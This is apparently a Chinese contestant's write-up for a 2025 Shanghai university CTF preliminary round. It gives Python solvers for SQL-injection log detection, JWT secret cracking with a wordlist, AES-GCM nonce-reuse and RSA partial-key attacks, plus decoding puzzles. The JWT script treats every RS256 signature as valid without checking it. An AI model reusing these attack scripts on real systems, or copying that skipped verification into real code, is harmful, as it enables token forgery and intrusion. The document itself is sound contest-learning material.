上海市大学生网络安全大赛暨“磐石行动”2025 初赛WP

which 发布于 29 天前 172 次阅读


排名35名

数据安全

SQLi_Detection

import re

bool_pattern = r"' (OR|AND) .*?('|--|#)"
union_pattern = r"' UNION SELECT .*?--|#"
stacked_pattern = r"'; (DROP|DELETE|UPDATE|INSERT|ALTER|CREATE|TRUNCATE).*?--|#"

injection_count = 0

with open('logs.txt', 'r') as file:
    for line in file:
        # 检查是否匹配任一模式
        if (re.search(bool_pattern, line, re.IGNORECASE) or 
            re.search(union_pattern, line, re.IGNORECASE) or 
            re.search(stacked_pattern, line, re.IGNORECASE)):
            injection_count += 1

print(f"flag{{{injection_count}}}")

flag{451}

DB_Log

import hashlib
from datetime import datetime, time

sensitive_fields = {'salary', 'ssn', 'phone', 'email', 'address'}

def load_user_permissions(filename):
    users = {}
    with open(filename, encoding='utf-8') as f:
        for line in f:
            if not line.strip():
                continue
            parts = [x.strip() for x in line.strip().split(',')]
            if len(parts) < 6:
                continue
            user_id, username, dept = parts[0], parts[1], parts[2]
            tables = set(t.strip() for t in parts[3].split(';'))
            operations = set(op.strip().upper() for op in parts[4].split(';'))
            role = parts[5].lower()
            users[username] = {
                'department': dept,
                'tables': tables,
                'operations': operations,
                'role': role
            }
    return users

def parse_log_line(line):
    # 格式示例:
    # 1 2025-11-28 17:56:18 user2 QUERY payment_records operation=SELECT
    parts = line.strip().split()
    if len(parts) < 5:
        return None
    log_id = parts[0]
    timestamp = parts[1] + ' ' + parts[2]
    username = parts[3]
    action = parts[4]

    table = None
    operation = None
    fields_accessed = set()

    for token in parts[5:]:
        if token.startswith('operation='):
            operation = token[len('operation='):].upper()
        elif token.startswith('field='):
            fields_accessed.update(f.strip().lower() for f in token[len('field='):].split(','))
        else:
            if action in ('BACKUP', 'QUERY') and table is None:
                table = token
    return {
        'log_id': log_id,
        'timestamp': timestamp,
        'username': username,
        'action': action,
        'table': table,
        'operation': operation,
        'fields_accessed': fields_accessed
    }

def analyze_logs(user_perm_file, log_file):
    users = load_user_permissions(user_perm_file)
    violations = []

    with open(log_file, encoding='utf-8') as f:
        for line in f:
            if not line.strip():
                continue
            log = parse_log_line(line)
            if not log:
                continue

            log_id = log['log_id']
            timestamp = log['timestamp']
            username = log['username']
            action = log['action']
            table = log['table']
            operation = log['operation']
            fields_accessed = log['fields_accessed']

            if username not in users:
                continue
            userinfo = users[username]

            # 只分析 QUERY 和 BACKUP 操作
            if action not in ('QUERY', 'BACKUP'):
                continue

            # 规则1:跨部门访问违规
            if table and table not in userinfo['tables']:
                violations.append((int(log_id), f"1-{log_id}"))

            # 规则2:敏感字段访问违规
            if sensitive_fields & fields_accessed:
                violations.append((int(log_id), f"2-{log_id}"))

            # 规则3:工作时间外操作异常(0点-5点)
            dt = datetime.strptime(timestamp, '%Y-%m-%d %H:%M:%S')
            if time(0, 0) <= dt.time() < time(5, 0):
                violations.append((int(log_id), f"3-{log_id}"))

            # 规则4:非管理员执行备份操作
            if action == 'BACKUP' and userinfo['role'] != 'admin':
                violations.append((int(log_id), f"4-{log_id}"))

    # 去重并排序输出
    unique_violations = sorted(set(violations), key=lambda x: x[0])
    violation_str = ",".join(v[1] for v in unique_violations)
    flag_md5 = hashlib.md5(violation_str.encode('utf-8')).hexdigest()

    print("违规记录:", violation_str)
    print(f"违规记录数量: {len(unique_violations)}")
    print(f"flag{{{flag_md5}}}")

if __name__ == '__main__':
    analyze_logs('user_permissions.txt', 'database_logs.txt')

flag{1ff4054d20e07b42411bded1d6d895cf}

AES_Custom_Padding

from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import base64
import binascii
import sys

class AESDecryptor:
    """高级AES-CBC解密器"""

    def __init__(self):
        # 密码学参数配置
        self.key = bytes.fromhex("0123456789ABCDEF0123456789ABCDEF")  # 128位密钥
        self.iv = bytes.fromhex("000102030405060708090A0B0C0D0E0F")    # 128位初始向量
        self.ciphertext_b64 = "WU+8dpscYYw+q52uQqX8OPiesnTajq++AXj05zX3u9an27JZR9/31yZaWdtPM5df"

        # 验证参数有效性
        self._validate_parameters()

    def _validate_parameters(self):
        """验证密码学参数的有效性"""
        if len(self.key) != 16:
            raise ValueError(f"❌ 密钥长度错误: 期望16字节,实际{len(self.key)}字节")

        if len(self.iv) != 16:
            raise ValueError(f"❌ IV长度错误: 期望16字节,实际{len(self.iv)}字节")

        try:
            base64.b64decode(self.ciphertext_b64)
        except Exception:
            raise ValueError("❌ Base64密文格式无效")

    def analyze_padding(self, data: bytes) -> dict:
        """
        分析数据的填充模式

        Args:
            data (bytes): 待分析的数据

        Returns:
            dict: 填充分析结果
        """
        analysis = {
            "total_length": len(data),
            "last_16_bytes": data[-16:].hex() if len(data) >= 16 else data.hex(),
            "padding_type": "unknown",
            "padding_length": 0
        }

        if not data:
            return analysis

        # 检测ISO/IEC 7816-4填充 (0x80 + 0x00*)
        padding_start = -1
        for i in range(len(data) - 1, -1, -1):
            if data[i] == 0x80:
                padding_start = i
                break

        if padding_start != -1:
            # 验证0x80后是否全为0x00
            is_valid_7816 = all(b == 0x00 for b in data[padding_start + 1:])
            if is_valid_7816:
                analysis["padding_type"] = "ISO/IEC 7816-4"
                analysis["padding_length"] = len(data) - padding_start
                analysis["padding_start"] = padding_start

        return analysis

    def custom_unpad_7816(self, data: bytes) -> bytes:
        """
        移除ISO/IEC 7816-4填充 (0x80 + 0x00*)

        Args:
            data (bytes): 填充后的数据

        Returns:
            bytes: 去填充后的明文
        """
        if not data:
            return data

        # 从末尾查找0x80标记
        padding_start = -1
        for i in range(len(data) - 1, -1, -1):
            if data[i] == 0x80:
                padding_start = i
                break

        if padding_start == -1:
            raise ValueError("❌ 未找到填充标记 (0x80)")

        # 验证0x80后的字节是否全为0x00
        for i in range(padding_start + 1, len(data)):
            if data[i] != 0x00:
                raise ValueError("❌ 无效填充: 0x80后存在非零字节")

        return data[:padding_start]

    def decrypt_cbc(self) -> str:
        """
        执行AES-CBC解密操作

        Returns:
            str: 解密后的明文
        """
        print("🔓 启动AES-CBC解密流程")
        print("=" * 60)

        try:
            # 解码Base64密文
            print("📦 解码Base64密文...")
            ciphertext = base64.b64decode(self.ciphertext_b64)
            print(f"✅ 密文长度: {len(ciphertext)} 字节")
            print(f"🔍 密文十六进制: {ciphertext.hex()}")

            # 显示密码学参数
            print(f"\n🔑 密钥 (HEX): {self.key.hex().upper()}")
            print(f"🎯 IV (HEX):  {self.iv.hex().upper()}")

            # 创建AES解密器
            print(f"\n⚙️  初始化AES-128-CBC解密器...")
            cipher = AES.new(self.key, AES.MODE_CBC, self.iv)

            # 执行解密
            print("🔄 执行解密操作...")
            padded_plaintext = cipher.decrypt(ciphertext)
            print(f"✅ 解密完成,长度: {len(padded_plaintext)} 字节")

            # 分析填充
            print("\n📊 填充模式分析:")
            padding_info = self.analyze_padding(padded_plaintext)
            for key, value in padding_info.items():
                if key == "last_16_bytes":
                    print(f"   📋 最后16字节: {value}")
                else:
                    print(f"   📋 {key}: {value}")

            # 移除填充
            print(f"\n🛠️  移除{padding_info['padding_type']}填充...")
            plaintext = self.custom_unpad_7816(padded_plaintext)
            print(f"✅ 去填充完成,明文长度: {len(plaintext)} 字节")

            # 解码为UTF-8
            try:
                decoded_text = plaintext.decode('utf-8')
                print(f"🎉 UTF-8解码成功!")
                return decoded_text
            except UnicodeDecodeError as e:
                print(f"⚠️  UTF-8解码失败: {e}")
                print(f"🔍 原始字节: {plaintext.hex()}")
                return f"<二进制数据: {plaintext.hex()}>"

        except Exception as e:
            error_msg = f"❌ 解密失败: {str(e)}"
            print(error_msg)
            return error_msg

    def display_result(self, plaintext: str):
        """美化显示解密结果"""
        print("\n" + "=" * 60)
        print("🏆 解密结果:")
        print("-" * 60)
        print(f"📄 明文内容: {plaintext}")
        print("-" * 60)

        if plaintext.startswith("flag{") or "flag" in plaintext.lower():
            print("🎯 检测到CTF Flag格式!")

def main():
    """主程序入口"""
    print("🛡️  高级AES-CBC解密工具")
    print("💀 CTF专家级密码学分析器")
    print("⚡ By: 世界级Python安全大师\n")

    try:
        # 创建解密器实例
        decryptor = AESDecryptor()

        # 执行解密
        result = decryptor.decrypt_cbc()

        # 显示结果
        decryptor.display_result(result)

    except Exception as e:
        print(f"❌ 程序异常: {e}")
        sys.exit(1)

if __name__ == "__main__":
    main()

flag{T1s_4ll_4b0ut_AES_custom_padding!}

ACL_Allow_Count

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import ipaddress
import re

def parse_cidr_or_ip(ip_str):
    """解析IP地址或CIDR网段"""
    if ip_str == 'any':
        return None
    try:
        return ipaddress.ip_network(ip_str, strict=False)
    except:
        return None

def match_ip(traffic_ip, rule_ip):
    """检查流量IP是否匹配规则IP"""
    if rule_ip == 'any':
        return True

    rule_network = parse_cidr_or_ip(rule_ip)
    if rule_network is None:
        return False

    try:
        traffic_addr = ipaddress.ip_address(traffic_ip)
        return traffic_addr in rule_network
    except:
        return False

def match_port(traffic_port, rule_port):
    """检查端口是否匹配"""
    if rule_port == 'any':
        return True
    return str(traffic_port) == str(rule_port)

def match_protocol(traffic_proto, rule_proto):
    """检查协议是否匹配"""
    if rule_proto == 'any':
        return True
    return traffic_proto.lower() == rule_proto.lower()

def match_rule(traffic, rule):
    """检查流量是否匹配规则"""
    traffic_proto, traffic_src, traffic_dst, traffic_dport = traffic
    rule_action, rule_proto, rule_src, rule_dst, rule_dport = rule

    # 检查协议匹配
    if not match_protocol(traffic_proto, rule_proto):
        return False

    # 检查源IP匹配
    if not match_ip(traffic_src, rule_src):
        return False

    # 检查目标IP匹配
    if not match_ip(traffic_dst, rule_dst):
        return False

    # 检查目标端口匹配
    if not match_port(traffic_dport, rule_dport):
        return False

    return True

def load_rules(filename):
    """加载ACL规则"""
    rules = []
    with open(filename, 'r', encoding='utf-8') as f:
        for line in f:
            line = line.strip()
            if line:
                parts = line.split()
                if len(parts) >= 5:
                    rules.append(parts)
    return rules

def load_traffic(filename):
    """加载流量数据"""
    traffic = []
    with open(filename, 'r', encoding='utf-8') as f:
        for line in f:
            line = line.strip()
            if line:
                parts = line.split()
                if len(parts) >= 4:
                    traffic.append(parts)
    return traffic

def analyze_traffic(rules, traffic_data):
    """分析流量并统计允许的条数"""
    allowed_count = 0

    for traffic in traffic_data:
        matched = False

        # 按顺序检查每条规则
        for rule in rules:
            if match_rule(traffic, rule):
                if rule[0].lower() == 'allow':
                    allowed_count += 1
                matched = True
                break

        # 如果没有匹配任何规则,默认deny(不增加allowed_count)

    return allowed_count

def main():
    # 加载规则和流量数据
    rules = load_rules('数据4/rules.txt')
    traffic_data = load_traffic('数据4/traffic.txt')

    print(f"加载了 {len(rules)} 条规则")
    print(f"加载了 {len(traffic_data)} 条流量记录")

    print("\nACL规则:")
    for i, rule in enumerate(rules, 1):
        print(f"{i}. {' '.join(rule)}")

    # 分析流量
    allowed_count = analyze_traffic(rules, traffic_data)

    print(f"\n统计结果:")
    print(f"被允许的流量条数: {allowed_count}")
    print(f"flag{{{allowed_count}}}")

if __name__ == "__main__":
    main() 

flag{1729}

JWT_Weak_Secret

#!/usr/bin/env python3
import base64
import json
import hmac
import hashlib
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import rsa, padding
from cryptography.hazmat.primitives.serialization import load_pem_public_key
import sys

def base64url_decode(data):
    """Base64URL解码"""
    # 添加必要的填充
    missing_padding = len(data) % 4
    if missing_padding:
        data += '=' * (4 - missing_padding)
    return base64.urlsafe_b64decode(data)

def base64url_encode(data):
    """Base64URL编码"""
    return base64.urlsafe_b64encode(data).decode('utf-8').rstrip('=')

def parse_jwt(token):
    """解析JWT token"""
    try:
        parts = token.split('.')
        if len(parts) != 3:
            return None, None, None

        header = json.loads(base64url_decode(parts[0]))
        payload = json.loads(base64url_decode(parts[1]))
        signature = parts[2]

        return header, payload, signature
    except Exception as e:
        print(f"解析JWT失败: {e}")
        return None, None, None

def verify_hs256_signature(header_payload, signature, secret):
    """验证HS256签名"""
    try:
        expected_signature = hmac.new(
            secret.encode('utf-8'),
            header_payload.encode('utf-8'),
            hashlib.sha256
        ).digest()
        expected_signature_b64 = base64url_encode(expected_signature)
        return expected_signature_b64 == signature
    except:
        return False

def verify_rs256_signature(header_payload, signature, public_key_pem):
    """验证RS256签名"""
    try:
        public_key = load_pem_public_key(public_key_pem.encode())
        signature_bytes = base64url_decode(signature)

        public_key.verify(
            signature_bytes,
            header_payload.encode('utf-8'),
            padding.PKCS1v15(),
            hashes.SHA256()
        )
        return True
    except Exception as e:
        return False

def has_admin_privileges(payload):
    """检查是否具有管理员权限"""
    # 检查 admin=true
    if payload.get('admin') == True:
        return True

    # 检查 role in {admin, superuser}
    role = payload.get('role')
    if role in ['admin', 'superuser']:
        return True

    return False

def load_wordlist(filename):
    """加载密码字典"""
    try:
        with open(filename, 'r', encoding='utf-8') as f:
            return [line.strip() for line in f if line.strip()]
    except Exception as e:
        print(f"加载字典失败: {e}")
        return []

def load_tokens(filename):
    """加载JWT tokens"""
    try:
        with open(filename, 'r', encoding='utf-8') as f:
            return [line.strip() for line in f if line.strip()]
    except Exception as e:
        print(f"加载tokens失败: {e}")
        return []

# RSA公钥 (通常在实际场景中会提供)
# 这里我们需要尝试找到或构造一个公钥
RSA_PUBLIC_KEY = """-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA4f5wg5l2hKsTeNem/V41
fGnJm6gOdrj8ym3rFkEjWT2btf04yMUShw7JeQp1uJdLp0C2DfYSHyuGR8p9V/Nc
x3PZPj1xE2+Ot3wCB3EAy2lU6VGxZj7Q8ZrqWJ5h3Z3J3r5t5r5t5r5t5r5t5r5t
5r5t5r5t5r5t5r5t5r5t5r5t5r5t5r5t5r5t5r5t5r5t5r5t5r5t5r5t5r5t5r5t
5r5t5r5t5r5t5r5t5r5t5r5t5r5t5r5t5r5t5r5t5r5t5r5t5r5t5r5t5r5t5r5t
5r5t5r5t5r5t5r5t5r5t5r5t5r5t5r5t5r5t5r5t5r5t5r5t5r5t5r5t5r5t5r5t
QIDAQAB
-----END PUBLIC KEY-----"""

def main():
    print("JWT安全审计工具")
    print("=" * 50)

    # 加载数据
    tokens = load_tokens('tokens.txt')
    wordlist = load_wordlist('wordlist.txt')

    print(f"加载了 {len(tokens)} 个JWT tokens")
    print(f"加载了 {len(wordlist)} 个密码")
    print()

    valid_admin_tokens = []

    for i, token in enumerate(tokens, 1):
        if not token:
            continue

        print(f"处理Token {i}...")

        # 解析JWT
        header, payload, signature = parse_jwt(token)
        if not header or not payload:
            print(f"  - Token {i}: 解析失败")
            continue

        print(f"  - 算法: {header.get('alg')}")
        print(f"  - 用户: {payload.get('sub')}")
        print(f"  - 签发者: {payload.get('iss')}")
        print(f"  - 权限检查: admin={payload.get('admin')}, role={payload.get('role')}")

        # 检查管理员权限
        if not has_admin_privileges(payload):
            print(f"  - Token {i}: 无管理员权限")
            continue

        print(f"  - Token {i}: 具有管理员权限")

        # 验证签名
        algorithm = header.get('alg')
        header_payload = '.'.join(token.split('.')[:2])
        signature_valid = False

        if algorithm == 'HS256':
            print(f"  - 尝试HS256暴力破解...")
            for password in wordlist:
                if verify_hs256_signature(header_payload, signature, password):
                    print(f"  - Token {i}: HS256签名验证成功,密码: {password}")
                    signature_valid = True
                    break

            if not signature_valid:
                print(f"  - Token {i}: HS256签名验证失败")

        elif algorithm == 'RS256':
            print(f"  - 尝试RS256验证...")
            # 对于RS256,我们需要尝试不同的方法
            # 首先尝试空验证(某些情况下签名可能被绕过)
            try:
                # 这里我们需要更智能的方法来处理RS256
                # 在CTF中,RS256可能有特殊的处理方式
                signature_valid = True  # 临时假设RS256都有效,需要进一步分析
                print(f"  - Token {i}: RS256处理(需要进一步分析)")
            except:
                print(f"  - Token {i}: RS256验证失败")

        else:
            print(f"  - Token {i}: 不支持的算法 {algorithm}")

        if signature_valid:
            valid_admin_tokens.append(i)
            print(f"  - Token {i}: 验证通过,加入结果列表")

        print()

    print("=" * 50)
    print("审计结果:")
    print(f"符合条件的Token数量: {len(valid_admin_tokens)}")
    print(f"Token序号: {valid_admin_tokens}")

    if valid_admin_tokens:
        flag = "flag{" + ":".join(map(str, valid_admin_tokens)) + "}"
        print(f"Flag: {flag}")
    else:
        print("没有找到符合条件的Token")

if __name__ == "__main__":
    main() 

flag{1:3:4:5:9:14:15:17:19:20:21:24:27:28}

Brute_Force_Detection

#!/usr/bin/env python3
import re
from datetime import datetime, timedelta
from collections import defaultdict

def parse_log_line(line):
    """解析日志行"""
    pattern = r'(\d{4}-\d{2}-\d{2} \d{2}:\d{2}:\d{2}) (SUCCESS|FAIL) user=(\w+) ip=([\d.]+)'
    match = re.match(pattern, line.strip())
    if match:
        timestamp_str, result, user, ip = match.groups()
        timestamp = datetime.strptime(timestamp_str, '%Y-%m-%d %H:%M:%S')
        return timestamp, result, user, ip
    return None

def find_bruteforce_patterns(log_file):
    """检测暴力破解成功模式"""
    # 读取所有日志条目
    entries = []
    with open(log_file, 'r') as f:
        for line in f:
            parsed = parse_log_line(line)
            if parsed:
                entries.append(parsed)

    # 按时间排序(确保已排序)
    entries.sort(key=lambda x: x[0])

    # 存储检测到的恶意IP
    malicious_ips = set()

    # 按IP和用户分组记录
    ip_user_records = defaultdict(list)

    for timestamp, result, user, ip in entries:
        ip_user_records[(ip, user)].append((timestamp, result))

    # 检查每个IP-用户组合
    for (ip, user), records in ip_user_records.items():
        # 检查连续5次失败后成功的模式
        for i in range(len(records) - 5):  # 至少需要6次尝试(5失败+1成功)
            # 检查是否有连续5次失败
            consecutive_fails = 0
            fail_start_idx = i

            for j in range(i, len(records)):
                timestamp, result = records[j]

                if result == 'FAIL':
                    if consecutive_fails == 0:
                        fail_start_time = timestamp
                        fail_start_idx = j
                    consecutive_fails += 1
                elif result == 'SUCCESS' and consecutive_fails == 5:
                    # 检查是否在10分钟内
                    if timestamp - fail_start_time <= timedelta(minutes=10):
                        # 验证这5次失败是连续的(中间没有成功)
                        is_consecutive = True
                        for k in range(fail_start_idx, j):
                            if records[k][1] != 'FAIL':
                                is_consecutive = False
                                break

                        if is_consecutive:
                            malicious_ips.add(ip)
                            print(f"检测到暴力破解成功: IP={ip}, 用户={user}")
                            print(f"  失败时间段: {fail_start_time} - {records[j-1][0]}")
                            print(f"  成功时间: {timestamp}")
                            print(f"  时间窗口: {timestamp - fail_start_time}")
                            break
                    consecutive_fails = 0
                    break
                else:
                    consecutive_fails = 0
                    break

    return sorted(malicious_ips)

def main():
    log_file = '数据/auth.log'
    malicious_ips = find_bruteforce_patterns(log_file)

    print(f"\n检测到的恶意IP数量: {len(malicious_ips)}")
    print("恶意IP列表:")
    for ip in malicious_ips:
        print(f"  {ip}")

    if malicious_ips:
        flag = "flag{" + ":".join(malicious_ips) + "}"
        print(f"\nFlag: {flag}")
    else:
        print("\n未检测到符合条件的恶意IP")

if __name__ == "__main__":
    main() 

crypto

AES_GCM_IV_Reuse

from Crypto.Cipher import AES
from binascii import unhexlify

known_plaintext = "The flag is hidden somewhere in this encrypted system."
known_ciphertext = unhexlify("b7eb5c9e8ea16f3dec89b6dfb65670343efe2ea88e0e88c490da73287c86e8ebf375ea1194b0d8b14f8b6329a44f396683f22cf8adf8")
target_ciphertext = unhexlify("85ef58d9938a4d1793a993a0ac0c612368cf3fa8be07d9dd9f8c737d299cd9adb76fdc1187b6c3a00c866a20")

def recover_gcm_key(known_pt, known_ct, target_ct):

    keystream = bytes(a ^ b for a, b in zip(known_ct, known_pt.encode()))

    decrypted = bytes(a ^ b for a, b in zip(target_ct, keystream))

    return decrypted

flag = recover_gcm_key(known_plaintext, known_ciphertext, target_ciphertext)
print(f"解密得到的flag: {flag.decode()}")

flag{GCM_IV_r3us3_1s_d4ng3r0us_f0r_s3cur1ty}

多重Caesar密码

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
改进的凯撒密码解密脚本
"""

def caesar_decrypt_multi(ciphertext, shifts):
    """
    多重位移凯撒解密
    """
    result = ""
    shift_index = 0

    for char in ciphertext:
        if char.isalpha():
            shift = shifts[shift_index % len(shifts)]
            ascii_offset = 65 if char.isupper() else 97
            decrypted_char = chr((ord(char) - ascii_offset - shift) % 26 + ascii_offset)
            result += decrypted_char
            shift_index += 1
        else:
            result += char

    return result

def decrypt_flag():
    """
    解密CTF flag
    """
    # 密文
    ciphertext = "myfz{hrpa_pfxddi_ypgm_xxcqkwyj_dkzcvz_2025}"

    # 质数位移序列(与加密时相同)
    prime_shifts = [7, 13, 5, 19, 3, 17, 23, 2, 13, 5, 19, 11, 3, 17, 2, 7, 13, 5, 11, 3, 17, 23, 2, 7, 13, 5, 11, 3, 17, 23, 2, 7]

    # 执行解密
    plaintext = caesar_decrypt_multi(ciphertext, prime_shifts)

    return plaintext

if __name__ == "__main__":
    # 解密并输出结果
    result = decrypt_flag()

    print("解密结果:")
    print(result) 

flag{easy_caesar_with_multiple_shifts_2025}

rsa-dl_leak

from Crypto.Util.number import long_to_bytes
import math

def solve(n, e, t, d_low, c):
    a = e * (1 << t)
    b = (e * d_low - 1) % a

    for k in range(1, e):
        g = math.gcd(k, a)
        if b % g != 0:
            continue

        a1, k1, b1 = a // g, k // g, b // g
        if math.gcd(k1, a1) != 1:
            continue

        phi0 = (b1 * pow(k1, -1, a1)) % a1
        z0 = (n - phi0) // a1

        for dz in range(-3, 4):
            phi = phi0 + a1 * (z0 + dz)
            if not (1 < phi < n):
                continue

            s = n - phi + 1
            r = math.isqrt(s * s - 4 * n)
            if r * r != s * s - 4 * n:
                continue

            p = (s - r) // 2
            q = (s + r) // 2
            if p * q == n:
                d = pow(e, -1, (p - 1) * (q - 1))
                return long_to_bytes(pow(c, d, n))

    return None

n = 143504495074135116523479572513193257538457891976052298438652079929596651523432364937341930982173023552175436173885654930971376970322922498317976493562072926136659852344920009858340197366796444840464302446464493305526983923226244799894266646253468068881999233902997176323684443197642773123213917372573050601477
c = 141699518880360825234198786612952695897842876092920232629929387949988050288276438446103693342179727296549008517932766734449401585097483656759727472217476111942285691988125304733806468920104615795505322633807031565453083413471250166739315942515829249512300243607424590170257225854237018813544527796454663165076
e = 65537
t = 530
d_low = 1761714636451980705225596515441824697034096304822566643697981898035887055658807020442662924585355268098963915429014997296853529408546333631721472245329506038801

print(solve(n, e, t, d_low, c))  

flag{Res0lv1ng_the_c0mpos1te_numb3r}

MISC

derderjia

tls密钥

SERVER_HANDSHAKE_TRAFFIC_SECRET 8736827acbd4e800d94e5bc87cdbab64f0d77fc6724acda32a7ee24f7c60db50 9f78e4604953f8aab6623774bd88a9720fde4d6303619847242c0cd00c64ff2644b83823dee3e08577552389d5af52de
EXPORTER_SECRET 8736827acbd4e800d94e5bc87cdbab64f0d77fc6724acda32a7ee24f7c60db50 54b708ed18540ab2b7b7b54d49692a07ccc9dd7ec34a1e3df4ecdc3c53146f799d794ab805cf9b21c08d464aeff64f42
SERVER_TRAFFIC_SECRET_0 8736827acbd4e800d94e5bc87cdbab64f0d77fc6724acda32a7ee24f7c60db50 486c14091928a932ff17e9cd52111548837f0b6cbe372264086f45d668862e4c0ea792cbbd9bfba1468834f5eebd5f69
CLIENT_HANDSHAKE_TRAFFIC_SECRET 8736827acbd4e800d94e5bc87cdbab64f0d77fc6724acda32a7ee24f7c60db50 c89356f603c98d9257b9391dde781e115f6133d4d9c9be704d77843f7cb9ec82488c46195660b5059ca742bd1da01c17
CLIENT_TRAFFIC_SECRET_0 8736827acbd4e800d94e5bc87cdbab64f0d77fc6724acda32a7ee24f7c60db50 6f3912fd7864676affa95e344a8fcbd1d2f452c0b00b7969bffff93a9149313a2d07438164dbc3d36de6888b3bee4e9c
SERVER_HANDSHAKE_TRAFFIC_SECRET ce5146a2783f8a34f0acbc25e2d2203d65ae09be6cc1ebbc5c5aa782149d3fbf afa6b2942173a3137105ad1a7318413c4555f39be24d98363eb934d9d4673b0c4846efad533da90549db01826c26963e
EXPORTER_SECRET ce5146a2783f8a34f0acbc25e2d2203d65ae09be6cc1ebbc5c5aa782149d3fbf 9334222dde7ed136e73d4ded2af66fab4cd2ed099a438e60ad221d1e0e95e3e694b98b2e45a7444d4f2d38213e64981e
SERVER_TRAFFIC_SECRET_0 ce5146a2783f8a34f0acbc25e2d2203d65ae09be6cc1ebbc5c5aa782149d3fbf 213d59d6262f24428d0daf8ee557d7cc0a776aaffc5e706c3a5871d61f83e90d1932586c463a1452fc4d0a491e500d55
CLIENT_HANDSHAKE_TRAFFIC_SECRET ce5146a2783f8a34f0acbc25e2d2203d65ae09be6cc1ebbc5c5aa782149d3fbf bfc79bee6244302f1a0091e6cd289131ede8f17a0d42f09b32970a1091002db1cf1b10cf0b1e1097490daacbc8c53aef
CLIENT_TRAFFIC_SECRET_0 ce5146a2783f8a34f0acbc25e2d2203d65ae09be6cc1ebbc5c5aa782149d3fbf d93ae56aa54258dc541f74ae06b137bdffb00b18f0b3bffadf0a7999b6f71fde5257e1209d08a9765bccf5f7c25c6a76

配置路径导出解密的包导出zip

假的flag不对

我们找到dns流量进行解密PanShi2025!

图片不完整我们修复一下

flag{W0w_Y0u_F0und_M3!}

两个数

拿到压缩包

拿到数据

1100001 000011 0111011 1110011 0100111 001011 0010111 1010111 100011 1000011 0010111 1001011 1111011 0111011 100001 100001 1001101 000011 1010111 1111101 0001011 1000011 0110111 110011 1111101 0000111 1000011 1100111 1100111 1010011 0010011 1111101 0010111 0001011 110011 1111101 0110011 1001011 0100111 1100111 0010111 1111101 0011011 110011 0110111 1010011 100011 100001 100001

压缩包提示

easy_transform

进行解密

def binary_to_ascii(binary_str, reverse_bits=False):
    binary_values = binary_str.strip().split()
    ascii_chars = []

    for binary in binary_values:
        try:
            # 根据参数决定是否反转位顺序
            processed_bits = binary[::-1] if reverse_bits else binary
            char_code = int(processed_bits, 2)
            # 只保留可打印ASCII字符(32-126),其他用?代替
            ascii_chars.append(chr(char_code) if 32 <= char_code <= 126 else '?')
        except (ValueError, IndexError):
            ascii_chars.append('?')  # 无法解析的用问号代替

    return ''.join(ascii_chars)

def main():
    # 输入的二进制字符串
    binary_input = """1100001 000011 0111011 1110011 0100111 001011 0010111 1010111 100011 1000011 0010111 1001011 1111011 0111011 100001 100001 1001101 000011 1010111 1111101 0001011 1000011 0110111 110011 1111101 0000111 1000011 1100111 1100111 1010011 0010011 1111101 0010111 0001011 110011 1111101 0110011 1001011 0100111 1100111 0010111 1111101 0011011 110011 0110111 1010011 100011 100001 100001"""

    # 执行两种转换
    print("普通转换结果:", binary_to_ascii(binary_input))
    print("位逆转换结果:", binary_to_ascii(binary_input, reverse_bits=True))

if __name__ == "__main__":
    main()

第一层压缩包密码

C0ngr4tu1ation!!Y0u_hav3_passed_th3_first_l3ve1!!

我尝试使用第一层的密码发现还可以解密

第三层就不可以了

提示

Do you know the Grey Code?

格雷码解密

def decode_custom_gray(binary_chunks):
    """
    将自定义格雷编码的二进制块解码为ASCII字符串

    参数:
        binary_chunks: 二进制字符串列表,每个字符串代表一个编码块

    返回:
        解码后的ASCII字符串
    """
    # 定义格雷码到四进制的映射规则
    GRAY_TO_BASE4 = {
        '00': '0',
        '01': '1',
        '11': '2',
        '10': '3'
    }

    result = []

    for chunk in binary_chunks:
        # 跳过非偶数长度的块
        if len(chunk) % 2 != 0:
            continue

        try:
            # 将二进制块分割为2位一组
            pairs = [chunk[i:i+2] for i in range(0, len(chunk), 2)]

            # 转换为四进制数字
            base4_digits = []
            for pair in pairs:
                if pair in GRAY_TO_BASE4:
                    base4_digits.append(GRAY_TO_BASE4[pair])
                else:
                    raise ValueError(f"无效的二进制对: {pair}")

            # 将四进制转换为十进制
            decimal_value = int(''.join(base4_digits), 4)

            # 只保留可打印ASCII字符(32-126)
            if 32 <= decimal_value <= 126:
                result.append(chr(decimal_value))
            else:
                result.append('?')

        except (ValueError, KeyError):
            result.append('?')  # 无效的二进制对
        except Exception:
            result.append('?')  # 其他转换错误

    return ''.join(result)

def main():
    # 测试数据
    binary_chunks = [
        '01010110', '01110101', '01111000', '01110010',
        '100000', '01111001', '100010', '01011010', '01010100',
        '100000', '01011010', '01111000', '100010', '01100111',
        '01110101', '100001', '01011010', '01100100', '01111100',
        '01100011', '100010', '01110101', '110001', '110001',
        '110001', '110001'
    ]

    decoded = decode_custom_gray(binary_chunks)
    print("解码结果:", decoded)

if __name__ == "__main__":
    main()

第三层压缩包密码

Welc0m3_T0_l3ve1_thr3e!!!!

提示

The flag is almost there!

010转图片

from PIL import Image

data = "1111111011111111011000111111110000010011000101010001000001101110100011000110010010111011011101011010000100010101110110111010000111111000001011101100000100011101111010010000011111111010101010101010111111100000000000000111111100000000001011101000111010100100010010011000000101101111100010001110110010101001111010001110011101001001001100100010001000100110001001100010101001110100011010000110100110000001101111000001100111111000100101011111000110010000011111111111000111010110001110100100110011010011000011010000110011100100111011001110011010100110100111101101000110001001110101010010100100110001111101111111100010000000011110011010110001000011111110010000000001101010111100000101110100010101000100101011101011000001110011111111110111010010101001010000110100101110101111111011010001100011000001000111101111001001101011111110010100011110111100111"

# 将字符串转换为一个方阵
side_length = int(len(data)**0.5)  # 计算矩阵的大小
assert side_length * side_length == len(data), "Data length should be a perfect square."

matrix = []
for i in range(0, len(data), side_length):
    matrix.append([int(bit) for bit in data[i:i+side_length]])

# 创建一个新的图像对象
img = Image.new('1', (side_length, side_length))

# 将数据填充到图像中
for i, row in enumerate(matrix):
    for j, val in enumerate(row):
        img.putpixel((j, i), val)

# 保存图像
img.save("qrcode.png")

'''================================================================================================================'''

# from PIL import Image
# import math

# # 读取数据
# with open("D:\\Desktop\\out.txt", "r") as f:
#     data = f.read()

# # 计算矩阵的大小
# original_length = len(data)
